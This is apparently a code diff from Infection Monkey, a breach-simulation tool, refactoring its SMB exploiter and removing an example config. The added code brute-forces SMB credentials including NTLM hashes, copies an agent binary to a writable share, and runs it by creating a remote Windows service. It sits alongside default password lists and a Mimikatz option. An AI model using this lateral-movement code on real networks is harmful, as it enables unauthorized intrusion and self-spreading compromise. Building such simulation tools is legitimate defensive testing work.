diff --git a/CHANGELOG.md b/CHANGELOG.md index c99303957..089bf8930 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -53,6 +53,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - T1082 attack technique report. #1754 - 32-bit agents. #1675 - Log path config options. #1761 +- "smb_service_name" option. #1741 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/docs/content/reference/scanners/_index.md b/docs/content/reference/scanners/_index.md index 6de0a8099..e932c7df1 100644 --- a/docs/content/reference/scanners/_index.md +++ b/docs/content/reference/scanners/_index.md @@ -35,7 +35,7 @@ The currently implemented Fingerprint modules are: To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py). -To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class. +To use the new scanner/fingerprinter by default, modify [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) to add references to the new class. At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py). diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8a920cc52..0abf6b19c 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,9 +1,7 @@ -import hashlib import os import sys import uuid from abc import ABCMeta -from itertools import product GUID = str(uuid.getnode()) @@ -74,8 +72,6 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = "/bin/sh" - dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" - dropper_target_path_linux = "/tmp/monkey" ########################### # monkey config @@ -93,35 +89,6 @@ class Configuration(object): keep_tunnel_open_time = 60 - def get_exploit_user_password_pairs(self): - """ - Returns all combinations of the configurations users and passwords - :return: - """ - return product(self.exploit_user_list, self.exploit_password_list) - - @staticmethod - def hash_sensitive_data(sensitive_data): - """ - Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data - plain-text, as the log is - saved on client machines plain-text. - - :param sensitive_data: the data to hash. - :return: the hashed data. - """ - password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() - return password_hashed - - exploit_user_list = ["Administrator", "root", "user"] - exploit_password_list = ["Password1!", "1234", "password", "12345678"] - exploit_lm_hash_list = [] - exploit_ntlm_hash_list = [] - - # smb/wmi exploiter - smb_download_timeout = 30 # timeout in seconds - smb_service_name = "InfectionMonkey" - ########################### # post breach actions ########################### diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf deleted file mode 100644 index f0cbb6e16..000000000 --- a/monkey/infection_monkey/example.conf +++ /dev/null @@ -1,69 +0,0 @@ -{ - "command_servers": [ - "192.0.2.0:5000" - ], - "keep_tunnel_open_time": 60, - "subnet_scan_list": [ - - ], - "inaccessible_subnets": [], - "blocked_ips": [], - "current_server": "192.0.2.0:5000", - "should_stop": false, - "collect_system_info": true, - "should_use_mimikatz": true, - "depth": 2, - - "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", - "dropper_date_reference_path_linux": "/bin/sh", - "dropper_set_date": true, - "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", - "dropper_target_path_linux": "/tmp/monkey", - - "exploiter_classes": [ - "SSHExploiter", - "SmbExploiter", - "WmiExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "MSSQLExploiter" - ], - "finger_classes": [ - "SSHFinger", - "HTTPFinger", - "SMBFinger", - "MSSQLFingerprint", - "ElasticFinger" - ], - "ping_scan_timeout": 10000, - "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", - "self_delete_in_cleanup": true, - "exploit_user_list": [], - "exploit_password_list": [], - "exploit_lm_hash_list": [], - "exploit_ntlm_hash_list": [], - "exploit_ssh_keys": [], - "local_network_scan": false, - "tcp_scan_timeout": 10000, - "tcp_target_ports": [ - 22, - 445, - 135, - 3389, - 80, - 8080, - 443, - 3306, - 8008, - 9200, - 7001, - 8088 - ], - "post_breach_actions": [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None -} diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index b5b6f65c3..31a8dbb53 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -1,21 +1,24 @@ from logging import getLogger from impacket.dcerpc.v5 import scmr, transport +from impacket.dcerpc.v5.scmr import DCERPCSessionError from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.network_scanning.smbfinger import SMBFinger from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from infection_monkey.utils.brute_force import ( + generate_brute_force_combinations, + get_credential_string, +) from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) -class SmbExploiter(HostExploiter): +class SMBExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { @@ -23,116 +26,83 @@ class SmbExploiter(HostExploiter): "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False - - def __init__(self, host): - super(SmbExploiter, self).__init__(host) - - def is_os_supported(self): - if super(SmbExploiter, self).is_os_supported(): - return True - - if not self.host.os.get("type"): - is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) - if is_smb_open: - smb_finger = SMBFinger() - smb_finger.get_host_fingerprint(self.host) - else: - is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139) - if is_nb_open: - self.host.os["type"] = "windows" - return self.host.os.get("type") in self._TARGET_OS_TYPE - return False + SMB_SERVICE_NAME = "InfectionMonkey" def _exploit_host(self): - src_path = get_target_monkey(self.host) + agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) + dest_path = get_agent_dest_path(self.host, self.options) + creds = generate_brute_force_combinations(self.options["credentials"]) - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # TODO use infectionmonkey.utils.brute_force - creds = self._config.get_exploit_user_password_or_hash_product() - - exploited = False for user, password, lm_hash, ntlm_hash in creds: + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) + try: # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, - src_path, - self._config.dropper_target_path_win_32, + agent_binary, + dest_path, user, password, lm_hash, ntlm_hash, - self._config.smb_download_timeout, + self.options["smb_download_timeout"], ) if remote_full_path is not None: - logger.debug( - "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " - "%s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), + logger.info( + f"Successfully logged in to {self.host.ip_addr} using SMB " + f"with {creds_for_log}" ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - exploited = True + self.exploit_result.exploitation_success = True break else: # failed exploiting with this user/pass self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Exception when trying to copy file using SMB to %r with user:" - " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s: (%s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), - exc, + logger.error( + f"Error while trying to copy file using SMB to {self.host.ip_addr} with " + f"{creds_for_log}:{exc}" ) continue - if not exploited: + if not self.exploit_result.exploitation_success: logger.debug("Exploiter SmbExec is giving up...") - return False + self.exploit_result.error_message = "Failed to authenticate to the victim over SMB" + return self.exploit_result # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): + if remote_full_path.lower() != dest_path.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - get_monkey_depth() - 1, - self._config.dropper_target_path_win_32, + self.current_depth - 1, + dest_path, ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, get_monkey_depth() - 1) + } + build_monkey_commandline(self.host, self.current_depth - 1) smb_conn = False - for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): + for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) - rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) + rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -140,18 +110,23 @@ class SmbExploiter(HostExploiter): scmr_rpc.connect() except Exception as exc: logger.debug( - "Can't connect to SCM on exploited machine %r port %s : %s", - self.host, - port, - exc, + f"Can't connect to SCM on exploited machine {self.host}, port {port} : {exc}" ) continue + logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}") smb_conn = rpctransport.get_smb_connection() break if not smb_conn: - return False + msg = "Failed to establish an RPC connection over SMB" + + logger.warning(msg) + self.exploit_result.error_message = msg + + return self.exploit_result + + # TODO: We DO want to deal with timeouts # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) @@ -159,13 +134,22 @@ class SmbExploiter(HostExploiter): sc_handle = resp["lpScHandle"] # start the monkey using the SCM - resp = scmr.hRCreateServiceW( - scmr_rpc, - sc_handle, - self._config.smb_service_name, - self._config.smb_service_name, - lpBinaryPathName=cmdline, - ) + try: + resp = scmr.hRCreateServiceW( + scmr_rpc, + sc_handle, + SMBExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, + lpBinaryPathName=cmdline, + ) + except DCERPCSessionError as err: + if err.error_code == 0x431: + logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists') + resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME) + else: + self.exploit_result.error_message = str(err) + return self.exploit_result + service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(scmr_rpc, service) @@ -173,7 +157,7 @@ class SmbExploiter(HostExploiter): except Exception: status = ScanStatus.SCANNED pass - T1035Telem(status, UsageEnum.SMB).send() + self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB)) scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) @@ -183,12 +167,13 @@ class SmbExploiter(HostExploiter): self.host, cmdline, ) + self.exploit_result.propagation_success = True self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - return True + return self.exploit_result diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 1ebedc668..84bd2c52b 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -8,17 +8,6 @@ from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) -def try_get_target_monkey(host): - src_path = get_target_monkey(host) - if not src_path: - raise Exception("Can't find suitable monkey executable for host %r", host) - return src_path - - -def get_target_monkey(host): - raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.") - - def get_random_file_suffix() -> str: character_set = list(string.ascii_letters + string.digits + "_" + "-") # random.SystemRandom can block indefinitely in Linux @@ -26,12 +15,6 @@ def get_random_file_suffix() -> str: return random_string -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - - return WormConfiguration.depth - - def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str: if host.os["type"] == "windows": return options["dropper_target_path_win_64"] diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index cbe0f8f66..92696a5b7 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -4,8 +4,6 @@ import urllib.parse import urllib.request from threading import Lock -from infection_monkey.exploit.tools.helpers import try_get_target_monkey -from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target @@ -62,24 +60,3 @@ class HTTPTools(object): "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])), httpd, ) - - -class MonkeyHTTPServer(HTTPTools): - def __init__(self, host): - super(MonkeyHTTPServer, self).__init__() - self.http_path = None - self.http_thread = None - self.host = host - - def start(self): - # Get monkey exe for host and it's path - src_path = try_get_target_monkey(self.host) - self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( - self.host, src_path - ) - - def stop(self): - if not self.http_path or not self.http_thread: - raise RuntimeError("Can't stop http server that wasn't started!") - self.http_thread.join(DOWNLOAD_TIMEOUT) - self.http_thread.stop() diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 6cbb16780..8ce7773bb 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -8,9 +8,9 @@ from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMB_DIALECT, SMBConnection from common.utils.attack_utils import ScanStatus -from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.utils.brute_force import get_credential_string logger = logging.getLogger(__name__) @@ -28,6 +28,8 @@ class SmbTools(object): timeout=60, ): # TODO assess the 60 second timeout + creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash]) + logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}") smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout @@ -37,16 +39,7 @@ class SmbTools(object): # skip guest users if smb.isGuestSession() > 0: - logger.debug( - "Connection to %r granted guest privileges with user: %s, password (SHA-512): " - "'%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - ) + logger.info(f"Connection to {host} granted guest privileges with {creds_for_log}") try: smb.logoff() @@ -129,8 +122,8 @@ class SmbTools(object): try: smb.connectTree(share_name) except Exception as exc: - logger.debug( - "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' ) continue @@ -161,7 +154,7 @@ class SmbTools(object): break except Exception as exc: - logger.debug( + logger.error( "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc ) T1105Telem( @@ -181,14 +174,8 @@ class SmbTools(object): if not file_uploaded: logger.debug( - "Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + f"Couldn't find a writable share for exploiting victim {host} with " + f'user "{username}"' ) return None @@ -219,16 +206,7 @@ class SmbTools(object): try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Error while logging into %r using user: %s, password (SHA-512): '%s', " - "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - exc, - ) + logger.error(f'Error while logging into {host} using user "{username}": {exc}') return None, dialect smb.setTimeout(timeout) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 23d423473..aae545cc2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.powershell import PowerShellExploiter +from infection_monkey.exploit.smbexec import SMBExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -225,6 +226,7 @@ class InfectionMonkey: puppet.load_plugin( "PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER ) + puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) puppet.load_plugin( diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 26326721c..da628fcce 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -213,24 +213,17 @@ INTERNAL = { "items": {"type": "string"}, "description": "List of SSH key pairs to use, when trying to ssh into servers", }, - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 30, - "description": "Timeout (in seconds) for SMB download operation (used in " - "various exploits using SMB)", - }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download " - "monkey", + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 30, + "description": "Timeout (in seconds) for SMB download operation (used " + "in various exploits using SMB)", + }, }, }, }, diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 1f82c5499..f36bc5d18 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -90,7 +90,6 @@ } }, "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], "system_info_collector_classes": [ "MimikatzCollector"